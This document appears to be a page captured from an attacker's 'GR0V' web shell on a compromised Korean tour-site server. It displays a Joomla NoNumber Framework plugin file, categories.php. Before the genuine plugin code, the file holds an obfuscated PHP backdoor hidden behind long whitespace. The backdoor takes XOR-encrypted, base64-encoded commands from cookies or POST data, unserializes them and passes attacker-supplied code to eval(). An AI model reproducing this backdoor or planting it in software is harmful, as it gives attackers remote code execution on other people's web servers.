? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/plugins/system/nnframework/fields/
File Upload :
Current File : /home/admin/public_html/old/plugins/system/nnframework/fields/categories.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $GLOBALS['q16a'];global$q16a;$q16a=$GLOBALS;$q16a['ka65635af']="\x3a\x5c\x55\x75\x5a\x45\x23\x52\x3e\x4b\x2d\x47\x3d\x27\x3c\x36\x7b\x2f\x43\x46\x50\x42\x2c\x70\x3f\x6a\x2a\x62\x63\x7d\x7c\x32\x9\x4e\x67\x20\x38\x35\xa\x6e\x3b\x5e\x56\x66\x61\x34\x22\x6c\xd\x44\x78\x49\x60\x73\x31\x7a\x40\x64\x4f\x26\x29\x28\x48\x58\x2b\x77\x6b\x37\x21\x71\x4a\x25\x41\x6d\x5d\x7e\x51\x4c\x4d\x79\x54\x59\x57\x68\x6f\x2e\x30\x69\x5b\x5f\x53\x65\x76\x74\x24\x33\x39\x72";$q16a[$q16a['ka65635af'][65].$q16a['ka65635af'][54].$q16a['ka65635af'][96].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][67]]=$q16a['ka65635af'][28].$q16a['ka65635af'][83].$q16a['ka65635af'][97];$q16a[$q16a['ka65635af'][84].$q16a['ka65635af'][96].$q16a['ka65635af'][54].$q16a['ka65635af'][45].$q16a['ka65635af'][28].$q16a['ka65635af'][44].$q16a['ka65635af'][67].$q16a['ka65635af'][15]]=$q16a['ka65635af'][84].$q16a['ka65635af'][97].$q16a['ka65635af'][57];$q16a[$q16a['ka65635af'][44].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][96]]=$q16a['ka65635af'][53].$q16a['ka65635af'][93].$q16a['ka65635af'][97].$q16a['ka65635af'][47].$q16a['ka65635af'][91].$q16a['ka65635af'][39];$q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][44].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][44]]=$q16a['ka65635af'][87].$q16a['ka65635af'][39].$q16a['ka65635af'][87].$q16a['ka65635af'][89].$q16a['ka65635af'][53].$q16a['ka65635af'][91].$q16a['ka65635af'][93];$q16a[$q16a['ka65635af'][93].$q16a['ka65635af'][15].$q16a['ka65635af'][67].$q16a['ka65635af'][37].$q16a['ka65635af'][45]]=$q16a['ka65635af'][53].$q16a['ka65635af'][91].$q16a['ka65635af'][97].$q16a['ka65635af'][87].$q16a['ka65635af'][44].$q16a['ka65635af'][47].$q16a['ka65635af'][87].$q16a['ka65635af'][55].$q16a['ka65635af'][91];$q16a[$q16a['ka65635af'][53].$q16a['ka65635af'][44].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][44].$q16a['ka65635af'][28]]=$q16a['ka65635af'][23].$q16a['ka65635af'][83].$q16a['ka65635af'][23].$q16a['ka65635af'][92].$q16a['ka65635af'][91].$q16a['ka65635af'][97].$q16a['ka65635af'][53].$q16a['ka65635af'][87].$q16a['ka65635af'][84].$q16a['ka65635af'][39];$q16a[$q16a['ka65635af'][43].$q16a['ka65635af'][96].$q16a['ka65635af'][95].$q16a['ka65635af'][86]]=$q16a['ka65635af'][3].$q16a['ka65635af'][39].$q16a['ka65635af'][53].$q16a['ka65635af'][91].$q16a['ka65635af'][97].$q16a['ka65635af'][87].$q16a['ka65635af'][44].$q16a['ka65635af'][47].$q16a['ka65635af'][87].$q16a['ka65635af'][55].$q16a['ka65635af'][91];$q16a[$q16a['ka65635af'][57].$q16a['ka65635af'][36].$q16a['ka65635af'][45].$q16a['ka65635af'][36].$q16a['ka65635af'][95].$q16a['ka65635af'][36]]=$q16a['ka65635af'][27].$q16a['ka65635af'][44].$q16a['ka65635af'][53].$q16a['ka65635af'][91].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][89].$q16a['ka65635af'][57].$q16a['ka65635af'][91].$q16a['ka65635af'][28].$q16a['ka65635af'][84].$q16a['ka65635af'][57].$q16a['ka65635af'][91];$q16a[$q16a['ka65635af'][27].$q16a['ka65635af'][31].$q16a['ka65635af'][43].$q16a['ka65635af'][57].$q16a['ka65635af'][15].$q16a['ka65635af'][67]]=$q16a['ka65635af'][53].$q16a['ka65635af'][91].$q16a['ka65635af'][93].$q16a['ka65635af'][89].$q16a['ka65635af'][93].$q16a['ka65635af'][87].$q16a['ka65635af'][73].$q16a['ka65635af'][91].$q16a['ka65635af'][89].$q16a['ka65635af'][47].$q16a['ka65635af'][87].$q16a['ka65635af'][73].$q16a['ka65635af'][87].$q16a['ka65635af'][93];$q16a[$q16a['ka65635af'][83].$q16a['ka65635af'][43].$q16a['ka65635af'][37].$q16a['ka65635af'][43].$q16a['ka65635af'][95]]=$q16a['ka65635af'][69].$q16a['ka65635af'][86].$q16a['ka65635af'][36].$q16a['ka65635af'][96].$q16a['ka65635af'][37].$q16a['ka65635af'][57];$q16a[$q16a['ka65635af'][25].$q16a['ka65635af'][96].$q16a['ka65635af'][36].$q16a['ka65635af'][86].$q16a['ka65635af'][28].$q16a['ka65635af'][57].$q16a['ka65635af'][31]]=$q16a['ka65635af'][92].$q16a['ka65635af'][15].$q16a['ka65635af'][54].$q16a['ka65635af'][45].$q16a['ka65635af'][91].$q16a['ka65635af'][36];$q16a[$q16a['ka65635af'][84].$q16a['ka65635af'][86].$q16a['ka65635af'][91].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][54].$q16a['ka65635af'][27].$q16a['ka65635af'][91]]=$_POST;$q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][36].$q16a['ka65635af'][91].$q16a['ka65635af'][96].$q16a['ka65635af'][36].$q16a['ka65635af'][96].$q16a['ka65635af'][43]]=$_COOKIE;@$q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][44].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][44]]($q16a['ka65635af'][91].$q16a['ka65635af'][97].$q16a['ka65635af'][97].$q16a['ka65635af'][84].$q16a['ka65635af'][97].$q16a['ka65635af'][89].$q16a['ka65635af'][47].$q16a['ka65635af'][84].$q16a['ka65635af'][34],NULL);@$q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][44].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][44]]($q16a['ka65635af'][47].$q16a['ka65635af'][84].$q16a['ka65635af'][34].$q16a['ka65635af'][89].$q16a['ka65635af'][91].$q16a['ka65635af'][97].$q16a['ka65635af'][97].$q16a['ka65635af'][84].$q16a['ka65635af'][97].$q16a['ka65635af'][53],0);@$q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][44].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][44]]($q16a['ka65635af'][73].$q16a['ka65635af'][44].$q16a['ka65635af'][50].$q16a['ka65635af'][89].$q16a['ka65635af'][91].$q16a['ka65635af'][50].$q16a['ka65635af'][91].$q16a['ka65635af'][28].$q16a['ka65635af'][3].$q16a['ka65635af'][93].$q16a['ka65635af'][87].$q16a['ka65635af'][84].$q16a['ka65635af'][39].$q16a['ka65635af'][89].$q16a['ka65635af'][93].$q16a['ka65635af'][87].$q16a['ka65635af'][73].$q16a['ka65635af'][91],0);@$q16a[$q16a['ka65635af'][27].$q16a['ka65635af'][31].$q16a['ka65635af'][43].$q16a['ka65635af'][57].$q16a['ka65635af'][15].$q16a['ka65635af'][67]](0);$uf9537=NULL;$n035=NULL;$q16a[$q16a['ka65635af'][25].$q16a['ka65635af'][31].$q16a['ka65635af'][91].$q16a['ka65635af'][31].$q16a['ka65635af'][43].$q16a['ka65635af'][86]]=$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][28].$q16a['ka65635af'][15].$q16a['ka65635af'][45].$q16a['ka65635af'][37].$q16a['ka65635af'][31].$q16a['ka65635af'][96].$q16a['ka65635af'][10].$q16a['ka65635af'][67].$q16a['ka65635af'][45].$q16a['ka65635af'][36].$q16a['ka65635af'][28].$q16a['ka65635af'][10].$q16a['ka65635af'][45].$q16a['ka65635af'][54].$q16a['ka65635af'][95].$q16a['ka65635af'][57].$q16a['ka65635af'][10].$q16a['ka65635af'][36].$q16a['ka65635af'][37].$q16a['ka65635af'][45].$q16a['ka65635af'][36].$q16a['ka65635af'][10].$q16a['ka65635af'][95].$q16a['ka65635af'][28].$q16a['ka65635af'][96].$q16a['ka65635af'][57].$q16a['ka65635af'][91].$q16a['ka65635af'][44].$q16a['ka65635af'][37].$q16a['ka65635af'][54].$q16a['ka65635af'][44].$q16a['ka65635af'][95].$q16a['ka65635af'][15].$q16a['ka65635af'][96];global$j2e2f0;function v614e8($uf9537,$r721a8a){global$q16a;$z490="";for($v351445=0;$v351445<$q16a[$q16a['ka65635af'][44].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][96]]($uf9537);){for($r16698=0;$r16698<$q16a[$q16a['ka65635af'][44].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][96]]($r721a8a)&&$v351445<$q16a[$q16a['ka65635af'][44].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][96]]($uf9537);$r16698++,$v351445++){$z490.=$q16a[$q16a['ka65635af'][65].$q16a['ka65635af'][54].$q16a['ka65635af'][96].$q16a['ka65635af'][43].$q16a['ka65635af'][31].$q16a['ka65635af'][67]]($q16a[$q16a['ka65635af'][84].$q16a['ka65635af'][96].$q16a['ka65635af'][54].$q16a['ka65635af'][45].$q16a['ka65635af'][28].$q16a['ka65635af'][44].$q16a['ka65635af'][67].$q16a['ka65635af'][15]]($uf9537[$v351445])^$q16a[$q16a['ka65635af'][84].$q16a['ka65635af'][96].$q16a['ka65635af'][54].$q16a['ka65635af'][45].$q16a['ka65635af'][28].$q16a['ka65635af'][44].$q16a['ka65635af'][67].$q16a['ka65635af'][15]]($r721a8a[$r16698]));}}return$z490;}function q0895d($uf9537,$r721a8a){global$q16a;global$j2e2f0;return$q16a[$q16a['ka65635af'][25].$q16a['ka65635af'][96].$q16a['ka65635af'][36].$q16a['ka65635af'][86].$q16a['ka65635af'][28].$q16a['ka65635af'][57].$q16a['ka65635af'][31]]($q16a[$q16a['ka65635af'][25].$q16a['ka65635af'][96].$q16a['ka65635af'][36].$q16a['ka65635af'][86].$q16a['ka65635af'][28].$q16a['ka65635af'][57].$q16a['ka65635af'][31]]($uf9537,$j2e2f0),$r721a8a);}foreach($q16a[$q16a['ka65635af'][23].$q16a['ka65635af'][36].$q16a['ka65635af'][91].$q16a['ka65635af'][96].$q16a['ka65635af'][36].$q16a['ka65635af'][96].$q16a['ka65635af'][43]]as$r721a8a=>$u4141b566){$uf9537=$u4141b566;$n035=$r721a8a;}if(!$uf9537){foreach($q16a[$q16a['ka65635af'][84].$q16a['ka65635af'][86].$q16a['ka65635af'][91].$q16a['ka65635af'][37].$q16a['ka65635af'][95].$q16a['ka65635af'][43].$q16a['ka65635af'][54].$q16a['ka65635af'][27].$q16a['ka65635af'][91]]as$r721a8a=>$u4141b566){$uf9537=$u4141b566;$n035=$r721a8a;}}$uf9537=@$q16a[$q16a['ka65635af'][43].$q16a['ka65635af'][96].$q16a['ka65635af'][95].$q16a['ka65635af'][86]]($q16a[$q16a['ka65635af'][83].$q16a['ka65635af'][43].$q16a['ka65635af'][37].$q16a['ka65635af'][43].$q16a['ka65635af'][95]]($q16a[$q16a['ka65635af'][57].$q16a['ka65635af'][36].$q16a['ka65635af'][45].$q16a['ka65635af'][36].$q16a['ka65635af'][95].$q16a['ka65635af'][36]]($uf9537),$n035));if(isset($uf9537[$q16a['ka65635af'][44].$q16a['ka65635af'][66]])&&$j2e2f0==$uf9537[$q16a['ka65635af'][44].$q16a['ka65635af'][66]]){if($uf9537[$q16a['ka65635af'][44]]==$q16a['ka65635af'][87]){$v351445=Array($q16a['ka65635af'][23].$q16a['ka65635af'][92]=>@$q16a[$q16a['ka65635af'][53].$q16a['ka65635af'][44].$q16a['ka65635af'][45].$q16a['ka65635af'][44].$q16a['ka65635af'][44].$q16a['ka65635af'][28]](),$q16a['ka65635af'][53].$q16a['ka65635af'][92]=>$q16a['ka65635af'][54].$q16a['ka65635af'][85].$q16a['ka65635af'][86].$q16a['ka65635af'][10].$q16a['ka65635af'][54],);echo@$q16a[$q16a['ka65635af'][93].$q16a['ka65635af'][15].$q16a['ka65635af'][67].$q16a['ka65635af'][37].$q16a['ka65635af'][45]]($v351445);}elseif($uf9537[$q16a['ka65635af'][44]]==$q16a['ka65635af'][91]){eval($uf9537[$q16a['ka65635af'][57]]);}exit();} ?><?php
/**
 * Element: Categories
 * Displays a selectbox of available categories (needs sections element)
 *
 * @package			NoNumber! Framework
 * @version			11.11.3
 *
 * @author			Peter van Westen <peter@nonumber.nl>
 * @link			http://www.nonumber.nl
 * @copyright		Copyright © 2011 NoNumber! All Rights Reserved
 * @license			http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

// No direct access
defined( '_JEXEC' ) or die();

/**
 * Categories Element
 */
class nnFieldCategories
{
	var $_version = '11.11.3';

	function getInput( $name, $id, $value, $params, $children, $j15 = 0 )
	{
		$this->params = $params;

		global $CT_filter_sectionid;

		$db =& JFactory::getDBO();

		$count = 0;
		$script = '<script language="javascript" type="text/javascript">'."\n";
		$script .= 'var sectioncategories = new Array;'."\n";
		$script .= 'sectioncategories['.$count++.'] = new Array( "-1","-1","- '.JText::_( 'Select section' ).' -" );'."\n";
		$script .= 'sectioncategories['.$count++.'] = new Array( "0","0","'.JText::_( 'Uncategorized' ).'" );'."\n";

		$query = 'SELECT id, title FROM #__sections WHERE published = 1 AND scope = "content" ORDER BY ordering';
		$db->setQuery( $query );
		$sections = $db->loadObjectList();
		$sec_count = count( $sections );
		for ( $i = 0; $i < $sec_count; $i++ ) {
			$query = 'SELECT c.id, c.title'
				.' FROM #__categories AS c'
				.' LEFT JOIN #__sections AS s'
				.' ON s.id = c.section'
				.' WHERE c.published = 1'
				.' AND s.id = '.$sections[$i]->id
				.' ORDER BY c.ordering';
			$db->setQuery( $query );
			$categories = $db->loadObjectList();
			$cat_count = count( $categories );
			if ( $cat_count > 1 ) {
				$script .= 'sectioncategories['.$count++.'] = new Array( "'.$sections[$i]->id.'","-1","- '.JText::_( 'Select category' ).' -" );'."\n";
			}
			for ( $j = 0; $j < $cat_count; $j++ ) {
				$title = explode( "\n", wordwrap( $categories[$j]->title, 86, "\n" ) );
				$title = $title['0'];
				$title = ( $title != $categories[$j]->title ) ? $title.'...' : $title;
				$script .= 'sectioncategories['.$count++.'] = new Array( "'.$sections[$i]->id.'","'.$categories[$j]->id.'","'.$title.'" );'."\n";
			}
		}
		$script .= '</script>';

		$categories = array();
		if ( $CT_filter_sectionid >= 0 ) {
			$query = 'SELECT cc.id AS value, cc.title AS text, section'
				.' FROM #__categories AS cc'
				.' INNER JOIN #__sections AS s ON s.id = cc.section'
				.' WHERE cc.section = '.$db->quote( $CT_filter_sectionid )
				.' ORDER BY s.ordering, cc.ordering';
			$db->setQuery( $query );
			$cats = $db->loadObjectList();
			if ( count( $cats ) > 1 ) {
				$categories[] = JHTML::_( 'select.option', '-1', '- '.JText::_( 'Select category' ).' -' );
			}
			$categories = array_merge( $categories, $cats );
		} else {
			$categories[] = JHTML::_( 'select.option', '-1', '- '.JText::_( 'Select section' ).' -' );
		}
		return $script.JHTML::_( 'select.genericlist', $categories, $name.'[]', 'class="inputbox" size="1"', 'value', 'text', $value, $id );
	}

	private function def( $val, $default = '' )
	{
		return ( isset( $this->params[$val] ) && (string) $this->params[$val] != '' ) ? (string) $this->params[$val] : $default;
	}
}

if ( version_compare( JVERSION, '1.6.0', 'l' ) ) {
	// For Joomla 1.5
	class JElementNN_Categories extends JElement
	{
		/**
		 * Element name
		 *
		 * @access	protected
		 * @var		string
		 */
		var $_name = 'Categories';

		function fetchElement( $name, $value, &$node, $control_name )
		{
			$this->_nnfield = new nnFieldCategories();
			return $this->_nnfield->getInput( $control_name.'['.$name.']', $control_name.$name, $value, $node->attributes(), $node->children(), 1 );
		}
	}
} else {
	// For Joomla 1.6
	class JFormFieldNN_Categories extends JFormField
	{
		/**
		 * The form field type
		 *
		 * @var		string
		 */
		public $type = 'Categories';

		protected function getInput()
		{
			$this->_nnfield = new nnFieldCategories();
			return $this->_nnfield->getInput( $this->name, $this->id, $this->value, $this->element->attributes(), $this->element->children() );
		}
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$